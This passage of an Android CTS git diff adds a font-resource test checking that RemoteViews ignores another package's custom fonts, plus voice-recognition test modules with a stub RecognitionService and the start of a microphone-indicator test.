     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTextTestResourceData.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTextTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/text/resourceApk/Android.bp b/tests/tests/text/resourceApk/Android.bp
new file mode 100644
index 0000000..3f4d4c9
--- /dev/null
+++ b/tests/tests/text/resourceApk/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsTextTestResourceData",
+    defaults: ["cts_defaults"],
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/text/resourceApk/AndroidManifest.xml
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/text/resourceApk/AndroidManifest.xml
index 1a335c7..8851b0d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/text/resourceApk/AndroidManifest.xml
@@ -1,5 +1,6 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -12,11 +13,13 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- */
+ -->
 
-package android.security.cts.cve_2021_0642;
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.text.cts.resources" >
 
-import android.app.Activity;
+    <application>
+      <activity android:name="android.text.cts.MainActivity" />
+    </application>
 
-public class PocActivity extends Activity {
-}
+</manifest>
diff --git a/tests/tests/text/resourceApk/assets/a3em.ttx b/tests/tests/text/resourceApk/assets/a3em.ttx
new file mode 100644
index 0000000..3a686b2
--- /dev/null
+++ b/tests/tests/text/resourceApk/assets/a3em.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="3000" lsb="93"/>  <!-- 3em -->
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/text/resourceApk/res/font/a3em.ttf b/tests/tests/text/resourceApk/res/font/a3em.ttf
new file mode 100644
index 0000000..03e1347
--- /dev/null
+++ b/tests/tests/text/resourceApk/res/font/a3em.ttf
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/text/resourceApk/res/layout/textview_layout.xml
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/text/resourceApk/res/layout/textview_layout.xml
index 1a335c7..72efdc4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/text/resourceApk/res/layout/textview_layout.xml
@@ -1,5 +1,6 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project.
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -12,11 +13,10 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- */
+ -->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:fontFamily="@font/a3em"
+        android:text="aaa"/>
 
-package android.security.cts.cve_2021_0642;
-
-import android.app.Activity;
-
-public class PocActivity extends Activity {
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/text/resourceApk/src/android/text/cts/MainActivity.java
similarity index 80%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/text/resourceApk/src/android/text/cts/MainActivity.java
index 1a335c7..39850bb 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/text/resourceApk/src/android/text/cts/MainActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.text.cts;
 
 import android.app.Activity;
 
-public class PocActivity extends Activity {
+public class MainActivity extends Activity {
 }
diff --git a/tests/tests/text/src/android/text/cts/FontResourceTest.java b/tests/tests/text/src/android/text/cts/FontResourceTest.java
new file mode 100644
index 0000000..5821772
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/FontResourceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.util.TypedValue;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.widget.RemoteViews;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@AppModeFull
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FontResourceTest {
+
+    private static final int REMOTE_FONT_TEXT_WIDTH = 900;
+    private static final String RESOURCE_PACKAGE = "android.text.cts.resources";
+
+    private int getLayoutId() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        int resID = 0;
+        try {
+            resID = context.createPackageContext(RESOURCE_PACKAGE, 0)
+                    .getResources().getIdentifier(
+                            "textview_layout",
+                            "layout",
+                            RESOURCE_PACKAGE);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        assertThat(resID).isNotEqualTo(0);
+        return resID;
+    }
+
+    private TextView inflateWithRemoteViews(Context ctx) {
+        RemoteViews remoteViews = new RemoteViews(RESOURCE_PACKAGE, getLayoutId());
+        return (TextView) remoteViews.apply(ctx, null);
+    }
+
+    private TextView inflateWithInflator(Context ctx) {
+        LayoutInflater inflater = LayoutInflater.from(ctx);
+        return (TextView) inflater.inflate(getLayoutId(), null);
+    }
+
+    private int measureText(TextView textView) {
+        textView.setTextSize(TypedValue.COMPLEX_UNIT_PX, 100f);  // make 1em = 100px
+        textView.measure(
+                View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED),
+                View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED));
+        return textView.getLayout().getWidth();
+    }
+
+    @Test
+    public void testRemoteResource() throws Exception {
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        Context freeContext = context.createPackageContext(
+                RESOURCE_PACKAGE, Context.CONTEXT_IGNORE_SECURITY);
+        Context restrictContext = context.createPackageContext(
+                RESOURCE_PACKAGE, Context.CONTEXT_RESTRICTED);
+
+        // This expectation is for verifying the precondition of the test case. If the context
+        // ignores the security, loads the custom font and TextView gives the width with it. If the
+        // context is restricted, the custom font should not be loaded and TextView gives the width
+        // different from the one with the custom font.
+        // The custom font has 3em for "a" character. The text is "aaa", then 9em = 900px is the
+        // expected width.
+        assertThat(measureText(inflateWithInflator(freeContext)))
+                .isEqualTo(REMOTE_FONT_TEXT_WIDTH);
+        assertThat(measureText(inflateWithInflator(restrictContext)))
+                .isNotEqualTo(REMOTE_FONT_TEXT_WIDTH);
+
+        // The RemoteView should ignore the custom font files.
+        assertThat(measureText(inflateWithRemoteViews(context)))
+                .isNotEqualTo(REMOTE_FONT_TEXT_WIDTH);
+    }
+}
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
new file mode 100644
index 0000000..ca53417
--- /dev/null
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVoiceRecognitionTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: ["android.test.base"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.test.ext.junit",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "system_current",
+}
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
new file mode 100644
index 0000000..41e29cb
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.voicerecognition.cts">
+
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <application android:label="CtsVoiceRecognitionTestCases">
+        <uses-library android:name="android.test.runner"/>
+        <!--The Activity that uses SpeechRecognizer APIs to access RecognitionService -->
+        <activity android:name="SpeechRecognitionActivity"
+                  android:label="SpeechRecognitionActivity"
+                  android:exported="true">
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.voicerecognition.cts"
+         android:label="CTS tests of android voicerecognition">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/AndroidTest.xml b/tests/tests/voiceRecognition/AndroidTest.xml
new file mode 100644
index 0000000..6934357
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Voice Recognition test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true"/>
+        <option name="test-file-name" value="CtsVoiceRecognitionTestCases.apk"/>
+        <option name="test-file-name" value="CtsVoiceRecognitionService.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.voicerecognition.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/voiceRecognition/RecognitionService/Android.bp b/tests/tests/voiceRecognition/RecognitionService/Android.bp
new file mode 100644
index 0000000..2f9fde8
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsVoiceRecognitionService",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests"
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+}
diff --git a/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
new file mode 100644
index 0000000..072df55
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.recognitionservice.service"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <application android:label="CtsVoiceRecognitionService">
+        <uses-library android:name="android.test.runner" />
+
+        <service android:name="CtsVoiceRecognitionService"
+                 android:label="@string/service_name"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.RecognitionService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="The VoiceRecognitionService for CTS test."
+        android:targetPackage="android.recognitionservice.service" >
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
new file mode 100644
index 0000000..f96159c
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="service_name">CtsVoiceRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
new file mode 100644
index 0000000..25cfadd
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.recognitionservice.service;
+
+import android.app.AppOpsManager;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.media.MediaRecorder;
+import android.os.Binder;
+import android.speech.RecognitionService;
+import android.speech.RecognizerIntent;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Implementation of {@link RecognitionService} used in the tests.
+ */
+public class CtsVoiceRecognitionService extends RecognitionService {
+
+    private final String TAG = "CtsVoiceRecognitionService";
+
+    private MediaRecorder mMediaRecorder;
+    private File mOutputFile;
+
+    @Override
+    protected void onCancel(Callback listener) {
+        // No-op.
+    }
+
+    @Override
+    protected void onStopListening(Callback listener) {
+        // No-op.
+    }
+
+    @Override
+    protected void onStartListening(Intent recognizerIntent, Callback listener) {
+        Log.d(TAG, "onStartListening");
+        mediaRecorderReady();
+        blameCameraPermission(recognizerIntent, listener.getCallingUid());
+        try {
+            mMediaRecorder.prepare();
+            mMediaRecorder.start();
+        } catch (IOException e) {
+            // We focus on the open mic behavior, wedon't need to real record and save to the file.
+            // Because we don't set the output the output file. The IOException occurred when start.
+            // We catch this and reset the media record.
+            e.printStackTrace();
+            mMediaRecorder.release();
+            mMediaRecorder = null;
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, "onDestroy");
+        stopRecord();
+        super.onDestroy();
+    }
+
+    // RecognitionService try to blame non-mic permission
+    private void blameCameraPermission(Intent recognizerIntent, int callingPackageUid) {
+        final String callingPackage =
+                recognizerIntent.getStringExtra(RecognizerIntent.EXTRA_CALLING_PACKAGE);
+        final AppOpsManager appOpsManager = getSystemService(AppOpsManager.class);
+        appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_CAMERA, callingPackage,
+                callingPackageUid, /*attributionTag*/ null, /*message*/ null);
+    }
+
+    private void mediaRecorderReady() {
+        mMediaRecorder = new MediaRecorder();
+        mOutputFile = new File(getExternalCacheDir(), "test.3gp");
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
+        mMediaRecorder.setOutputFile(mOutputFile);
+    }
+
+    private void stopRecord() {
+        if (mMediaRecorder != null) {
+            mMediaRecorder.stop();
+            mMediaRecorder.release();
+            mMediaRecorder = null;
+        }
+        if (mOutputFile != null && mOutputFile.exists()) {
+            mOutputFile.delete();
+        }
+    }
+}
diff --git a/tests/tests/voiceRecognition/res/layout/main.xml b/tests/tests/voiceRecognition/res/layout/main.xml
new file mode 100644
index 0000000..9cab939
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/layout/main.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
new file mode 100644
index 0000000..086c1c7
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class RecognitionServiceMicIndicatorTest {
+
